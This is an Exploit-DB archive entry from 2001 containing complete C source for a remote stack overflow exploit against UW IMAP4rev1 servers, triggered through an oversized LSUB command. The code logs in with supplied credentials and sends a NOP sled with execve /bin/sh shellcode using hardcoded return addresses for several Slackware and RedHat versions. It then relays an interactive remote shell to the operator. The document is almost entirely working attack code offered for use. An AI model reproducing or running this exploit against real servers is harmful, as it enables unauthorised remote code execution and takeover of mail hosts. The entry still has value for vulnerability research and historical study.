Exploit-DB #284
Description: IMAP4rev1 12.261/12.264/2000.284 - 'lsub' Remote Overflow
Type: remote
Platform: linux
Date: 2001-03-03
Author: SkyLaZarT

Exploit:
/* 
 *			!!! Private !!!
 *
 *  imapd IMAP4rev1 v12.261, v12.264 and 2000.284 Remote Exploit. Others? Yes!
 *
 *  By: SkyLaZarT ( fcerqueira@bufferoverflow.org ) .aka. Felipe Cerqueira
 *  Homepage: www.BufferOverflow.Org
 *  Thankz: cync, oldm and Jans. ( BufferOverflow.org Team )
 *		Antonio Marcelo and Felipe Saraiva
 *
 */


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

#define SIZE		1064
#define NOP		0x90
#define RET12261	0xbffff3ec
#define RET12264	0xbffff4e0
#define RET12264ZOOT	0xbffff697
#define RET2000_284	0xbfffebc8

#define INIT(x)	bzero(x, sizeof(x))
#define READ(sock,x) read(sock, x, sizeof(x)) 


#define TIMEOUT		20

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int debug = 0;


void openshell(int sock, int check);
void processSignal(int signum);

void processSignal(int signum) {
	fprintf(stderr, "Time out!!\n");
	exit(-1);
}


void openshell(int sock, int check) {
	char buffer[1024];
	fd_set rset;
	int i;
	
	while(1) {
		FD_ZERO(&rset);
		FD_SET(sock, &rset);
		FD_SET(fileno(stdin), &rset);

		select(sock + 1, &rset, NULL, NULL, NULL);

		if (FD_ISSET(sock, &rset)) {
			if ((i = read(sock, buffer, sizeof(buffer))) <= 0) {
				fprintf(stderr, "Connection terminated!\n");
				close(sock);
				exit(-1);
			} else {
				buffer[i] = 0x00;
				if(check) {
					if (!(strstr(buffer, "uid"))) {
						fprintf(stderr, "Exploit failed\n");
						exit(-1);
					} else {
						fprintf(stderr, "Exploit Success!!\n");
						check = 0;
					} 
				}

				puts(buffer);
			}
		}

		if (FD_ISSET(fileno(stdin), &rset)) {
			if ( check ) write(sock, "id\n", 3);
				
			if ((i = read(fileno(stdin), buffer, 
					sizeof(buffer))) > 0) {
				buffer[i] = 0x00;
				write(sock, buffer, i);
			}
		}
	}
}
				
				
int main(int argc, char **argv) {
	char buffer[SIZE], sockbuffer[2048];
	char *login, *password;
	long retaddr; 
	struct sockaddr_in sin;
	struct hostent *hePtr;
	int sock, i;	

	fprintf(stderr, "\nRemote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284\n"
		"Developed by SkyLaZarT - www.BufferOverflow.org\n\n");

	if ( argc < 5 ) {
		fprintf(stderr, "%s <host> <login> <password> <type> [offset]\n", argv[0]);
		fprintf(stderr, "\ttype: [0]\tSlackware 7.0 with IMAP4rev1 v12.261\n"
				"\ttype: [1]\tSlackware 7.1 with IMAP4rev1 v12.264\n"
				"\ttype: [2]\tRedHat 6.2 ZooT with IMAP4rev1 v12.264\n"
				"\ttype: [3]\tSlackware 7.0 with IMAP4rev1 2000.284\n\n");


		exit(-1);
	}

	login = argv[2];
	password = argv[3];

	switch(atoi(argv[4])) {
		case 0: retaddr = RET12261; break;
		case 1: retaddr = RET12264; break;
		case 2: retaddr = RET12264ZOOT; break;
		case 3: retaddr = RET2000_284; break;
		default: 
			fprintf(stderr, "invalid type.. assuming default " 
				"type 0\n");
			retaddr = RET12261; break;
			
	}

	if ( argc == 6 ) 
		retaddr += atoi(argv[5]);

	signal(SIGALRM, processSignal);	

	fprintf(stderr, "Trying to exploit %s...\n", argv[1]);

	fprintf(stderr, "Using return address 0x%08lx. Shellcode size: %i bytes\n\n", retaddr, strlen(shellcode));


	alarm(TIMEOUT);
	hePtr = gethostbyname(argv[1]);
	if (!hePtr) {
		fprintf(stderr, "Unknow hostname : %s\n", strerror(errno));
		exit(-1);
	}
	alarm(0);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	if ( sock < 0 ) {
		perror("socket()");
		exit(-1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(143);
	memcpy(&sin.sin_addr, hePtr->h_addr, hePtr->h_length);
	bzero(&(sin.sin_zero), 8);

	fprintf(stderr, "Connecting... "); 
	alarm(TIMEOUT);
	if ( connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
		fprintf(stderr, "failed to %s:143\n", argv[1]);
		exit(-1);
	}
	alarm(0);	
	
	fprintf(stderr, "OK\n");

	
        for ( i = 0; i <= SIZE; i += 4 )
                *(long *)&buffer[i] = retaddr;

        for ( i = 0; i < ( SIZE - strlen(shellcode) - 100); i++ )
                *(buffer+i) = NOP;

        memcpy(buffer + i, shellcode, strlen(shellcode));

	INIT(sockbuffer);
	READ(sock, sockbuffer);

	if(debug) fprintf(stderr, "debug %s", sockbuffer);	

	fprintf(stderr, "Trying to loging ... ");

	sprintf(sockbuffer, "1 LOGIN %s %s\n", login, password);
	write(sock, sockbuffer, strlen(sockbuffer));
	
	INIT(sockbuffer);
	READ(sock, sockbuffer);

	if(debug) fprintf(stderr, "debug %s", sockbuffer);
	
	if (!(strstr(sockbuffer, "OK LOGIN completed"))) {
		fprintf(stderr, "Login failed!!\n");
		close(sock);
		exit(-1);
	}

	fprintf(stderr, "OK\n");
	
	INIT(sockbuffer);
	sprintf(sockbuffer, "1 LSUB \"\" {1064}\r\n");
	write(sock, sockbuffer, strlen(sockbuffer));

        INIT(sockbuffer);
        READ(sock, sockbuffer);

	if(debug) fprintf(stderr, "debug %s", sockbuffer);
	
	if(!(strstr(sockbuffer, "Ready"))) {
		fprintf(stderr, "LSUB command failed\n");
		close(sock);
		exit(-1);
	}	

	fprintf(stderr, "Sending shellcode... ");	
	
	write(sock, buffer, 1064);
	write(sock, "\r\n", 2);

	fprintf(stderr, "OK\n");
	
	fprintf(stderr, "PRESS ENTER for exploit status!!\n\n");	

	openshell(sock, 1);	
							
	close(sock);

	return 0;
}

// milw0rm.com [2001-03-03]